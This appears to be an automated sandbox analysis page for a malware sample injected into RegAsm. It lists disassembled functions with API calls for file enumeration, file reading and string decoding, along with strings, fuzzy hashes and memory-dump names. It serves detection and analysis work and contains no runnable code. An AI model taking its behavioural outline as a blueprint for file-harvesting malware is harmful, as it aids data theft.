Instruction ID: 9cfaf3c2dd84e46d72cf17cf7ecf087fa777d8f806102fe253f4185b4f6a77e1
Opcode Fuzzy Hash: 7e77b5972e6293bbaef22b5d479bac3c7add13431e55fcf33b4a15e8eaf232e3
Instruction Fuzzy Hash: F7E13871948742AFD301DF34EC80A2BB7E8BF45348F044A5DF8A5AB252E735E851CB92

Function 0040B7F7 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

FindFirstFileA.KERNEL32(?,?,\*.*,0043581B), ref: 0040B853
StrCmpCA.SHLWAPI(?,004363E0), ref: 0040B874
StrCmpCA.SHLWAPI(?,004363E4), ref: 0040B88E

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 00407F9E: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00407FB9
Part of subcall function 00407F9E: GetFileSizeEx.KERNEL32(00000000,?), ref: 00407FD0
Part of subcall function 00407F9E: LocalAlloc.KERNEL32(00000040,?), ref: 00407FE7
Part of subcall function 00407F9E: ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 00407FFE
Part of subcall function 00407F9E: CloseHandle.KERNEL32(?), ref: 00408026

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

FindNextFileA.KERNEL32(?,?), ref: 0040BDA9
FindClose.KERNEL32(?), ref: 0040BDBD

Strings

\*.*, xrefs: 0040B81D

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$Closelstrcat$AllocCreateFirstHandleLocalNextReadSizeSystemTimelstrlen
String ID: \*.*
API String ID: 3981092645-1173974218
Opcode ID: c0f03310c0f615c00586cc6fb56cbb56547437460b10eec05cb52ef645b7498f
Instruction ID: 68eace66993780c3a0a7d01a4c50cc1edaf67d91f6ea32bf83835d0e12539aab
Opcode Fuzzy Hash: c0f03310c0f615c00586cc6fb56cbb56547437460b10eec05cb52ef645b7498f
Instruction Fuzzy Hash: 99E1AC3190012D9BCF20EF26CD86ACDB374AF44308F5144E6A90877162DBB96FD98F98

Function 1FF551D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

, xrefs: 1FF55334
REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?), xrefs: 1FF55264

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: $REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?)
API String ID: 0-69911113
Opcode ID: c59d530f687ea5791857c52994457b9a0af7c8a31581a30798086d38ff7cbb29
Instruction ID: 10bf6b877f4a3e35cc4e9b0568120ba34d8624fd6b5f99c034bb69ebe907530e
Opcode Fuzzy Hash: c59d530f687ea5791857c52994457b9a0af7c8a31581a30798086d38ff7cbb29
Instruction Fuzzy Hash: BB416D75904301AFE700DF69CC84B5AB7E5FF88308F454529F948EB261E7B1E951CBA2

Function 1FF8D610 Relevance: 10.6, APIs: 7, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd5a444f62547b55e1c478906cffc6cc5e8d8fd97acf4dcf33dab7dbce9423b
Instruction ID: d474b5580869815c742c17762d2542e21fc18e98af300213667b6265bcc8c2c7
Opcode Fuzzy Hash: 8fd5a444f62547b55e1c478906cffc6cc5e8d8fd97acf4dcf33dab7dbce9423b
Instruction Fuzzy Hash: EF41D275A00746ABDB019F25CC80A5FB7F9FF45325F00462CF9589A290E7B2F915CBA2

Function 1FF14760 Relevance: 9.4, APIs: 6, Instructions: 429COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34e1883b809fec22b1ce0199f4ff0784f719dac88c120e41a29754af2e03d122
Instruction ID: 794136e41630831c5e7b9d3a6b6669754b3352b3c681b3f839bfd1114f59519c
Opcode Fuzzy Hash: 34e1883b809fec22b1ce0199f4ff0784f719dac88c120e41a29754af2e03d122
Instruction Fuzzy Hash: 45F1B071A087429FE300CF24C844A5ABBE4FFC9304F154A2DF895DB211EBB5E954DBA6

Function 1FEC4820 Relevance: 9.3, APIs: 6, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ac1244c23a56288e7141cffae88fa95e010bb7c3b73fb0cd2d2883993507e22
Instruction ID: 5c82ceee1343dc41b26de1de08d2e274f54bdf4bbc4c31ac1dc5c1d9b8056f6a
Opcode Fuzzy Hash: 4ac1244c23a56288e7141cffae88fa95e010bb7c3b73fb0cd2d2883993507e22
Instruction Fuzzy Hash: 23B19EB5904742AFE300CF25C944B5BB7F8BF89318F008A1DF8559A251E7B9F594CB92

Function 1FEC5C70 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43830c2c14d87b3ae716c7a1980d3d4f048575f12cac28b556fe9d979f0dcba0
Instruction ID: 869c2d047bd73939248f91c6d65a072111734abda77138a1fc41e78cdae3338e
Opcode Fuzzy Hash: 43830c2c14d87b3ae716c7a1980d3d4f048575f12cac28b556fe9d979f0dcba0
Instruction Fuzzy Hash: DA41EEB62043019FEB14DF18C984EA7BBE4FF88325F10456DF9928B691E762F854CB61

Function 1FF49090 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d923291791485ed24e40c934cc60eed2ed18de321924f8e2201ad0299d337a8
Instruction ID: f0ad8a40bc6aa291f57fe7209788cc24632646336fe3a3bc4cd28e1cbda76386
Opcode Fuzzy Hash: 6d923291791485ed24e40c934cc60eed2ed18de321924f8e2201ad0299d337a8
Instruction Fuzzy Hash: C131CD357002019FD720CF68D888A66B7E5FF80325B2445A9E9438F262E762FC51CFA0

Function 1FF006E0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

VUUU, xrefs: 1FF0083A

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: VUUU
API String ID: 0-2040033107
Opcode ID: 31c349f89a45a7928821802c6ae2a872e88f5f1683bb3ac6cc8c94b7e922ed0d
Instruction ID: 497cfaab9ac6e2f84b4ff1899fd408a236b73e61e6bc98b8755ceabdea4e1922
Opcode Fuzzy Hash: 31c349f89a45a7928821802c6ae2a872e88f5f1683bb3ac6cc8c94b7e922ed0d
Instruction Fuzzy Hash: D881B3B19043458FC714EF29C890A6BFBE5FF89210F14466DE88DC7241E7B5E944DBA2

Function 1FF31FE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?), xrefs: 1FF32001

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: REPLACE INTO '%q'.'%q_data'(id, block) VALUES(?,?)
API String ID: 0-914542581
Opcode ID: 464a9c6ac94b501209c103be6193f9b8cc08e2a2ab952659b5d5cfe099f20e27
Instruction ID: c7993864b46b24bbffd61f2954d820aebec80f07a16d096c2a6e7ecae3c8cd17
Opcode Fuzzy Hash: 464a9c6ac94b501209c103be6193f9b8cc08e2a2ab952659b5d5cfe099f20e27
Instruction Fuzzy Hash: 5C21E1B9900305AFE7116F69DC84F5677A9FF04315F000418F8449B222E7B2F864CBA5

Function 1FF2A6F0 Relevance: 7.6, APIs: 5, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1ea8448cc9cde8051054aa7e82865da19ebf7ef3fc6160488fe02524f17adcc
Instruction ID: 661ca5b516af116f9a55ebb44e6aa664d265ca8ececf875b11db9fa1fe1b955f
Opcode Fuzzy Hash: c1ea8448cc9cde8051054aa7e82865da19ebf7ef3fc6160488fe02524f17adcc
Instruction Fuzzy Hash: F6611BB6108385AFE334CF95C48069BBBE1FF89340F914A1CE5985B350DBB99905CF62

Function 1FF08550 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3966a2d936edd45f59b6e0deb058351046a11c26772725d757917f5ea545eae4
Instruction ID: 78d7c182710cd03483eb3fa6bceba62b6e575f3b3278a128141655bf2f04122c
Opcode Fuzzy Hash: 3966a2d936edd45f59b6e0deb058351046a11c26772725d757917f5ea545eae4
Instruction Fuzzy Hash: 2601D1B9A00301ABDA11AF14ED00BAA77A5AFC1B25F14046DF90066210D376F828DBA2

Function 1FEE1C50 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

RtreeMatchArg, xrefs: 1FEE1F83

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: RtreeMatchArg
API String ID: 0-1459067757
Opcode ID: e742e9e285f91e1b1600b74adb613b3bed3632ffd159eca7e1e7ef5154be56f7
Instruction ID: 0ebf5f91542f42bfdecf63d299181cc60171e29a8be28d1915b30b30143b9d1b
Opcode Fuzzy Hash: e742e9e285f91e1b1600b74adb613b3bed3632ffd159eca7e1e7ef5154be56f7
Instruction Fuzzy Hash: 0B02CCB49047428FD710CF24D880A9ABBF1BF89318F14462DF9859B362E735F995CB92

Function 1FEB298C Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

GetACP.KERNEL32 ref: 200A2A1F
IsValidCodePage.KERNEL32(00000000), ref: 200A2A56
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,?,00000000,?), ref: 200A2C3A

Strings

utf8, xrefs: 200A2B28

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: CodeInfoLocalePageValid
String ID: utf8
API String ID: 790303815-905460609
Opcode ID: 122fb376f3c56d56e28c32073bca4514832bfd8de3134d6eee2a97ec93210ab2
Instruction ID: aad6cb0d66d0abefb2b274cc24636b0620d1d66d0cd86cb1f8ecd46217c4e5f0
Opcode Fuzzy Hash: 122fb376f3c56d56e28c32073bca4514832bfd8de3134d6eee2a97ec93210ab2
Instruction Fuzzy Hash: 5971C275A10706ABF7259FF8CC46FAA73E8EF48710F204039EB059B181EB74E94197A1

Function 0040A690 Relevance: 6.1, APIs: 4, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,?,00000000,00000000), ref: 0040A6E8
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A6F0
lstrcat.KERNEL32(004357F6,004357FA), ref: 0040A79D
lstrcat.KERNEL32(004357F6,004357FB), ref: 0040A7B3

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 68a035546dff133609ef01621cd22b1fce0ed85f29c7e15b0788139cb17f0a06
